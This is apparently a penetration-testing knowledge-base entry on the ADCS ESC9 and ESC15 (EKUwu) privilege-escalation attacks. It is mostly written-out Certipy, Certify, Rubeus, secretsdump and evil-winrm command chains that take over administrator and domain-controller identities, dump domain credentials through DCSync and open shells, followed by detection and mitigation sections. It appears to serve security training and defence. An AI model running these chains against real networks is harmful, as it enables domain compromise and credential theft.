esc9-no-security-extension-template-level.md (20597B)
1 --- 2 title: "ESC9 — No Security Extension (Template-Level)" 3 description: "ESC9 is the template-level version of ESC16. Where ESC16 disabled the szOID_NTDS_CA_SECURITY_EXT SID extension globally across every certificate on the…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs"] 7 tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "BloodHound"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC9 — No Security Extension (Template-Level).md" 11 --- 12 # ESC9 — No Security Extension (Template-Level) 13 14 > **Note:** ESC15 (EKUwu / CVE-2024-49019) now has its own standalone file — see ESC15 — EKUwu (CVE-2024-49019). 15 16 ## What Is ESC9? 17 18 ESC9 is the **template-level version of ESC16**. Where ESC16 disabled the `szOID_NTDS_CA_SECURITY_EXT` SID extension **globally across every certificate on the CA**, ESC9 disables it on a **per-template basis** using the flag `CT_FLAG_NO_SECURITY_EXTENSION` (`0x80000`) in the template's `msPKI-Enrollment-Flag` attribute. The impact is identical — certificates issued from that template carry no objectSid binding — but it's scoped to one template rather than the entire CA. 19 20 The attack chain is also nearly identical to ESC16 — you need `GenericWrite` over an account with enrollment rights, temporarily swap its UPN, request a cert, restore the UPN — but here you're targeting a **specific misconfigured template** rather than relying on a CA-wide flag. 21 22 ESC9 has **two distinct variants**: 23 24 | Variant | What Gets Swapped | Target Identity Field | 25 |---------|------------------|-----------------------| 26 | **ESC9a** | `userPrincipalName` (UPN) | UPN SAN in cert | 27 | **ESC9b** | `dNSHostName` | DNS SAN in cert | 28 29 ESC9a targets **user account impersonation**, ESC9b targets **machine account impersonation** — same logical split as ESC16 vs Certifried. 30 31 *** 32 33 ## Required Conditions 34 35 | Condition | Notes | 36 |-----------|-------| 37 | Template has `CT_FLAG_NO_SECURITY_EXTENSION` flag set | `msPKI-Enrollment-Flag` contains `0x80000` | 38 | Template has **Client Authentication EKU** | `Client Authentication: True` | 39 | `StrongCertificateBindingEnforcement` set to **0 or 1** on DCs | Not `2` — which would block UPN-based mapping | 40 | Attacker has **`GenericWrite`** over an account with enrollment rights | BloodHound ACE edge | 41 | That account can enroll in the vulnerable template | Enrollment Rights includes the account | 42 43 > ⚠️ `StrongCertificateBindingEnforcement = 2` **blocks ESC9** — the DC enforces SID binding. If you see value `2`, ESC9 is not exploitable. This is why ESC16 is more dangerous — it operates at the CA level, bypassing KDC enforcement entirely. 44 45 *** 46 47 ## Step 0 — Enumeration 48 49 ```bash 50 # Standard vulnerable scan 51 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 52 -dc-ip $TARGET -vulnerable -stdout 53 54 # Check StrongCertificateBindingEnforcement on DC 55 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 56 -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement' 57 # 0 or 1 = ESC9 works 58 # 2 = ESC9 blocked 59 ``` 60 61 ### What Vulnerable ESC9 Output Looks Like 62 63 ``` 64 Certificate Templates 65 Template Name : ESC9-Template 66 Enabled : True 67 Client Authentication : True 68 Enrollee Supplies Subject : False 69 Extended Key Usage : Client Authentication 70 Requires Manager Approval : False 71 Authorized Signatures Required : 0 72 Enrollment Flag : NO_SECURITY_EXTENSION ← ⚠️ KEY FLAG 73 Permissions 74 Enrollment Rights : DOMAIN\Domain Users 75 76 [!] Vulnerabilities 77 ESC9 : 'DOMAIN\Domain Users' can enroll, template has 78 CT_FLAG_NO_SECURITY_EXTENSION and no SID extension will be included 79 ``` 80 81 > 💡 The critical tell is `NO_SECURITY_EXTENSION` in the `Enrollment Flag` field — this is `CT_FLAG_NO_SECURITY_EXTENSION` (`0x80000`). 82 83 *** 84 85 ## ESC9a Full Attack Chain — Linux (UPN Swap) 86 87 This is functionally identical to the ESC16 chain from the Fluffy walkthrough — just targeting a specific template. 88 89 ### Step 1 — Identify Controlled Account + Note Current UPN 90 ```bash 91 # Find your GenericWrite target 92 certipy-ad account \ 93 -u 'lowpriv@domain.htb' \ 94 -p 'Password123!' \ 95 -dc-ip $TARGET \ 96 -user 'targetuser' \ 97 lookup 98 99 # Note the current UPN e.g. targetuser@domain.htb — needed for restoration 100 ``` 101 102 ### Step 2 — Swap UPN to Target Identity 103 ```bash 104 certipy-ad account \ 105 -u 'lowpriv@domain.htb' \ 106 -p 'Password123!' \ 107 -dc-ip $TARGET \ 108 -user 'targetuser' \ 109 -upn 'administrator' \ 110 update 111 112 # [*] Successfully updated 'targetuser' with 'userPrincipalName' = 'administrator' 113 ``` 114 115 ### Step 3 — Request Cert from ESC9 Template 116 ```bash 117 certipy-ad req \ 118 -u 'targetuser@domain.htb' \ 119 -p 'TargetPassword!' \ 120 -dc-ip $TARGET \ 121 -ca 'DOMAIN-CA-NAME' \ 122 -template 'ESC9-Template' 123 124 # [*] Got certificate with UPN 'administrator' 125 # [*] Saving certificate and private key to 'administrator.pfx' 126 ``` 127 128 ### Step 4 — IMMEDIATELY Restore UPN 129 ```bash 130 certipy-ad account \ 131 -u 'lowpriv@domain.htb' \ 132 -p 'Password123!' \ 133 -dc-ip $TARGET \ 134 -user 'targetuser' \ 135 -upn 'targetuser@domain.htb' \ 136 update 137 ``` 138 139 ### Step 5 — Authenticate 140 ```bash 141 certipy-ad auth \ 142 -pfx administrator.pfx \ 143 -username administrator \ 144 -domain domain.htb \ 145 -dc-ip $TARGET 146 147 # Output: administrator.ccache + NT hash 148 ``` 149 150 ### Step 6 — Shell 151 ```bash 152 export KRB5CCNAME=administrator.ccache 153 wmiexec.py -k -no-pass DC01.domain.htb 154 evil-winrm -i $TARGET -u administrator -H <NTHASH> 155 ``` 156 157 *** 158 159 ## ESC9b — DNS SAN Variant (Machine Account Impersonation) 160 161 For machine account impersonation, swap `dNSHostName` instead of UPN: 162 163 ```bash 164 # Step 1: Clear SPNs on controlled machine account 165 certipy-ad account \ 166 -u 'lowpriv@domain.htb' -p 'Password123!' \ 167 -dc-ip $TARGET -user 'EVILPC$' -spn-clear update 168 169 # Step 2: Swap dNSHostName to DC hostname 170 certipy-ad account \ 171 -u 'lowpriv@domain.htb' -p 'Password123!' \ 172 -dc-ip $TARGET -user 'EVILPC$' \ 173 -dns 'DC01.domain.htb' update 174 175 # Step 3: Request Machine cert from ESC9 template 176 certipy-ad req \ 177 -u 'EVILPC$@domain.htb' -p 'EvilPass!' \ 178 -dc-ip $TARGET -ca 'DOMAIN-CA-NAME' \ 179 -template 'ESC9-Template' 180 181 # Step 4: Restore dNSHostName 182 certipy-ad account \ 183 -u 'lowpriv@domain.htb' -p 'Password123!' \ 184 -dc-ip $TARGET -user 'EVILPC$' \ 185 -dns 'EVILPC.domain.htb' update 186 187 # Step 5: Authenticate as DC01$ 188 certipy-ad auth -pfx 'dc01.pfx' -username 'DC01$' \ 189 -domain domain.htb -dc-ip $TARGET 190 191 # Step 6: DCSync 192 export KRB5CCNAME='DC01$.ccache' 193 secretsdump.py -k -no-pass DC01.domain.htb 194 ``` 195 196 *** 197 198 ## ESC9 vs ESC16 199 200 | | ESC9 | ESC16 | 201 |---|---|---| 202 | **Flag location** | Per-template `msPKI-Enrollment-Flag` | CA-wide `DisableExtensionList` | 203 | **Templates affected** | One specific template | Every template on that CA | 204 | **`StrongCertificateBindingEnforcement = 2` blocks it?** | ✅ Yes | ❌ No — SID never embedded at source | 205 | **Certipy detection** | Template-level ESC9 flag | CA-level ESC16 flag | 206 | **Attack chain** | UPN/DNS swap → req → restore | UPN/DNS swap → req → restore (identical) | 207 208 *** 209 210 ## ESC9 Mitigation 211 212 - **Remove `CT_FLAG_NO_SECURITY_EXTENSION`** from any template that has it set — there is no legitimate business reason to disable SID embedding on a per-template basis 213 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — enforces SID validation, breaking ESC9 214 - **Audit `GenericWrite` ACEs** on accounts with enrollment rights — pre-condition for this entire attack class 215 216 *** 217 *** 218 219 # ESC15 — EKUwu (CVE-2024-49019) 220 221 ## What Is ESC15? 222 223 ESC15, nicknamed **EKUwu**, was discovered by **Justin Bollinger at TrustedSec** in late September 2024 and assigned **CVE-2024-49019** by Microsoft on November 12, 2024. It is fundamentally different from every other ESC attack — **it is not a misconfiguration**. It is a **software vulnerability in Microsoft's implementation of Application Policies in schema version 1 certificate templates**. 224 225 Every other ESC attack requires an admin to have configured something incorrectly. ESC15 exploits a bug in how the CA processes **Certificate Signing Requests (CSRs) against schema version 1 templates** — templates that Microsoft itself ships as defaults. The bug allows an attacker to **inject arbitrary Application Policy OIDs into their CSR** that the CA will honour and embed in the issued certificate, even if the template itself never specified those policies. 226 227 In practical terms: you enroll in a harmless default template, inject `Client Authentication` OID into your CSR, and the CA issues a certificate that can authenticate you as any domain user — including Domain Admin. 228 229 *** 230 231 ## Why Schema Version 1 Is Special 232 233 The entire vulnerability hinges on a behavioural difference between schema versions: 234 235 | Schema Version | Application Policy Behaviour | 236 |---|---| 237 | **Version 1** | CA accepts Application Policies **supplied in the CSR** — attacker controlled | 238 | **Version 2+** | CA ignores CSR-supplied Application Policies — uses only what's defined in the template | 239 240 Version 1 templates are legacy — predating the modern PKI hardening model. They exist because early Active Directory needed them and Microsoft has never forcibly migrated environments away from them. The attack specifically targets the `msPKI-Certificate-Application-Policy` attribute handling in v1 template processing. 241 242 *** 243 244 ## Default Vulnerable Templates 245 246 Because ESC15 targets schema version 1 templates, it can affect **default Microsoft-provided templates** — no admin misconfiguration required: 247 248 | Template | Default Enrollment Rights | Notes | 249 |----------|--------------------------|-------| 250 | `WebServer` | Administrators | Common for internal HTTPS — often over-permissioned | 251 | `SubCA` | Administrators | ESC7 territory — admin enroll only | 252 | `CA` | Administrators | Same | 253 | `User` | Domain Users | ⚠️ **High risk** — every domain user can enroll | 254 | `Machine` | Domain Computers | ⚠️ **High risk** — every machine can enroll | 255 | `DomainController` | Domain Controllers | DC certs | 256 257 > 💡 The `User` and `Machine` templates being schema version 1 AND enrollable by all domain users/computers is what makes ESC15 so impactful — no template customisation needed at all. 258 259 *** 260 261 ## Required Conditions 262 263 | Condition | Notes | 264 |-----------|-------| 265 | Template uses **Schema Version 1** | Check `Schema Version: 1` in certipy output | 266 | Template has **`Enrollee Supplies Subject`** enabled | `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` — same as ESC1 | 267 | Low-priv users can enroll | Standard enrollment rights check | 268 | **Unpatched** (pre-November 2024 KB5044281) | Check patch status | 269 270 > 💡 ESC15 was patched by Microsoft in **November 2024 (KB5044281)**. The patch restricts Application Policy injection in CSRs for schema version 1 templates. Always verify patch status before attempting. 271 272 *** 273 274 ## Step 0 — Enumeration 275 276 ```bash 277 # Standard scan 278 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 279 -dc-ip $TARGET -vulnerable -stdout 280 281 # Check for ESC15 specifically — look for Schema Version 1 + Enrollee Supplies Subject 282 # Certipy will flag this as ESC15 in vulnerable output 283 ``` 284 285 ### What Vulnerable ESC15 Output Looks Like 286 287 ``` 288 Certificate Templates 289 Template Name : User 290 Schema Version : 1 ← KEY: Schema V1 291 Enabled : True 292 Client Authentication : False ← Not required! You'll inject it 293 Enrollee Supplies Subject : True ← Needed for subject control 294 Requires Manager Approval : False 295 Authorized Signatures Required : 0 296 Permissions 297 Enrollment Rights : DOMAIN\Domain Users 298 299 [!] Vulnerabilities 300 ESC15 : Template schema version is 1 and the template allows the 301 enrollee to supply the subject and an application policy 302 ``` 303 304 *** 305 306 ## Full Attack Chain — Linux (Certipy) 307 308 Certipy's ESC15 support was added after TrustedSec's disclosure. The key flag is `-application-policies` which injects the arbitrary OID into the CSR. 309 310 ### Step 1 — Request Cert with Injected Application Policy + Spoofed Subject 311 312 ```bash 313 # Inject Client Authentication OID + specify Administrator as subject 314 certipy-ad req \ 315 -u 'lowpriv@domain.htb' \ 316 -p 'Password123!' \ 317 -dc-ip $TARGET \ 318 -ca 'DOMAIN-CA-NAME' \ 319 -template 'User' \ 320 -upn 'administrator@domain.htb' \ 321 -application-policies 'Client Authentication' 322 323 # Output: administrator.pfx 324 ``` 325 326 **What Certipy does under the hood:** 327 - Builds a CSR for the `User` template (schema v1) 328 - Injects `Client Authentication` OID (`1.3.6.1.5.5.7.3.2`) into `Application Policies` extension of the CSR 329 - Sets `SubjectAltName: UPN = administrator@domain.htb` 330 - CA honours both — issues cert with Client Auth EKU AND Administrator UPN 331 332 **Expected output:** 333 ``` 334 [*] Requesting certificate via RPC 335 [*] Successfully requested certificate 336 [*] Request ID is 14 337 [*] Got certificate with UPN 'administrator@domain.htb' 338 [*] Certificate object SID is 'S-1-5-21-...-500' 339 [*] Saving certificate and private key to 'administrator.pfx' 340 ``` 341 342 > 💡 Unlike ESC9/ESC16, Certipy may report an `objectSid` here if the CA is patched — in that case ESC15 will be blocked at auth time. The absence of `Certificate has no object SID` in the output is actually a good sign — it means the cert is stronger. 343 344 *** 345 346 ### Step 2 — Authenticate 347 348 ```bash 349 certipy-ad auth \ 350 -pfx administrator.pfx \ 351 -username administrator \ 352 -domain domain.htb \ 353 -dc-ip $TARGET 354 355 # Output: administrator.ccache + NT hash 356 ``` 357 358 *** 359 360 ### Step 3 — Shell 361 362 ```bash 363 export KRB5CCNAME=administrator.ccache 364 wmiexec.py -k -no-pass DC01.domain.htb 365 evil-winrm -i DC01.domain.htb -r domain.htb 366 evil-winrm -i $TARGET -u administrator -H <NTHASH> 367 ``` 368 369 *** 370 371 ## Extended ESC15 Use Cases — Beyond Client Auth 372 373 TrustedSec's research showed ESC15 is more dangerous than ESC2 in some respects because you can inject **any** Application Policy OID: 374 375 ```bash 376 # Code signing certificate — forge software signatures 377 certipy-ad req ... -application-policies 'Code Signing' 378 379 # Smart Card Logon 380 certipy-ad req ... -application-policies 'Smart Card Logon' 381 382 # Enrollment Agent (bridges into ESC3 territory) 383 certipy-ad req ... -application-policies 'Certificate Request Agent' 384 385 # Any Purpose — like ESC2 386 certipy-ad req ... -application-policies 'Any Purpose' 387 ``` 388 389 Each of these opens a completely different post-exploitation path from the same single vulnerability. 390 391 *** 392 393 ## Windows Attack Chain (Certify.exe + Custom CSR) 394 395 ```powershell 396 # ESC15 from Windows requires crafting a custom CSR with injected Application Policy 397 # TrustedSec released BOFs (Beacon Object Files) for this 398 399 # Using their adcs_request BOF in Cobalt Strike: 400 adcs_request /template:User /upn:administrator /appolicies:"1.3.6.1.5.5.7.3.2" 401 402 # Or using the updated Certify fork from TrustedSec 403 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User \ 404 /altname:administrator /applicationpolicies:"Client Authentication" 405 406 # Convert and authenticate as per ESC1 flow 407 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 408 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap 409 ``` 410 411 *** 412 413 ## ESC15 vs ESC1 and ESC2 414 415 | | ESC1 | ESC2 | **ESC15** | 416 |---|---|---|---| 417 | **Root cause** | Template misconfiguration | Template misconfiguration | **Software bug in schema v1** | 418 | **Admin misconfiguration required?** | ✅ | ✅ | ❌ **No — default templates vulnerable** | 419 | **Injects EKU via** | Template has it pre-set | Template has Any Purpose | **CSR at request time** | 420 | **CVE assigned** | No | No | **CVE-2024-49019** | 421 | **Patched** | No patch | No patch | ✅ **November 2024 KB5044281** | 422 | **Can inject arbitrary EKUs?** | ❌ | ❌ | ✅ | 423 | **Schema version required** | Any | Any | **Version 1 only** | 424 | **Discovered by** | SpecterOps | SpecterOps | **TrustedSec (Justin Bollinger)** | 425 426 *** 427 428 ## ESC9 vs ESC16 vs ESC15 — The No-SID Cluster 429 430 These three attacks are closely related and often confused: 431 432 | | ESC9 | ESC16 | ESC15 | 433 |---|---|---|---| 434 | **No SID in cert?** | ✅ (template flag) | ✅ (CA-wide flag) | ❌ (SID may be present) | 435 | **Requires UPN swap?** | ✅ | ✅ | ❌ (inject UPN directly) | 436 | **Template version dependency** | Any | Any | **Schema V1 only** | 437 | **Bypasses `StrongCertificateBindingEnforcement = 2`?** | ❌ | ✅ | ❌ | 438 | **Patched by Microsoft?** | Partially | No specific patch | ✅ KB5044281 | 439 440 *** 441 442 ## Detection Indicators 443 444 **ESC9:** 445 - **Event ID 4738** — UPN modification on an account followed immediately by a cert request then another UPN modification 446 - **Event ID 4887** — Certificate issued where UPN differs from account's permanent UPN 447 448 **ESC15:** 449 - **Event ID 4887** — Certificate issued with `Client Authentication` EKU from a template (`User`, `Machine`) that doesn't have that EKU defined in its configuration 450 - **CSR inspection** — Monitor for CSRs containing `Application Policies` extensions not matching the requested template's defined policies 451 - **Microsoft Defender for Identity** — Has built-in ESC15 detection post-patch 452 453 *** 454 455 ## Mitigation 456 457 **ESC9:** 458 - Remove `CT_FLAG_NO_SECURITY_EXTENSION` from any template that has it 459 - Set `StrongCertificateBindingEnforcement = 2` 460 - Audit `GenericWrite` ACEs on accounts with enrollment rights 461 462 **ESC15:** 463 - **Apply KB5044281** (November 2024 patch) — direct fix 464 - **Migrate schema v1 templates to v2+** — removes the vulnerable code path entirely: 465 ```powershell 466 # In CA MMC: Template Properties → Compatibility tab 467 # Change "Certification Authority" from "Windows 2000" to "Windows Server 2003" or later 468 # This upgrades template to schema version 2 469 ``` 470 - **Restrict enrollment rights** on `User` and `Machine` templates — removing `Domain Users` from enrollment rights is the single fastest interim mitigation 471 - **Audit schema version 1 templates** in your environment: 472 ```powershell 473 Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \ 474 -Filter {msPKI-Template-Schema-Version -eq 1} -Properties * 475 ``` 476 477 *** 478 479 The ESC series is now comprehensively covered from ESC1 through ESC17 Netrunner. Where to next? 480 481 Sources 482 ESC9 Privilege Escalation| ADCS Attack Series https://www.youtube.com/watch?v=pO1WA18apwo 483 ADCS ESC9 – No Security Extension - Hacking Articles https://www.hackingarticles.in/adcs-esc9-no-security-extension/ 484 ADCS Attack Paths in BloodHound — Part 3 - Blog - SpecterOps https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac 485 ESC15 (EKUwu)/CVE-2024-49019: Vulnerability in AD CS EKU ... https://www.cycraft.com/en/post/esc15-2024-49019-en-20250908 486 EKUwu: Not just another AD CS ESC - TrustedSec https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 487 ESC15: The Evolution of ADCS Attacks https://abrictosecurity.com/esc15-the-evolution-of-adcs-attacks/ 488 Understanding ESC15: A New Privilege Escalation Vulnerability in ... https://www.precedecyber.com/blog/understanding-esc15-a-new-privilege-escalation-vulnerability-in-active-directory-certificate-services-adcs 489 ESC15 Vulnerability: Identifying and Protecting Your AD CS PKI https://www.ravenswoodtechnology.com/esc15-vulnerability/ 490 An Expert Guide to Fortifying Active Directory Certificate Services ... https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ 491 Preventing Privilege Escalation via Active Directory Certificate ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/ 492 AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ 493 Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html 494 ESC9 - WIP - Pentest Everything - GitBook https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc9-wip 495 ADCS Attacks Course - HTB Academy https://academy.hackthebox.com/course/preview/adcs-attacks 496 Certificate templates | The Hacker Recipes https://www.thehacker.recipes/ad/movement/adcs/certificate-templates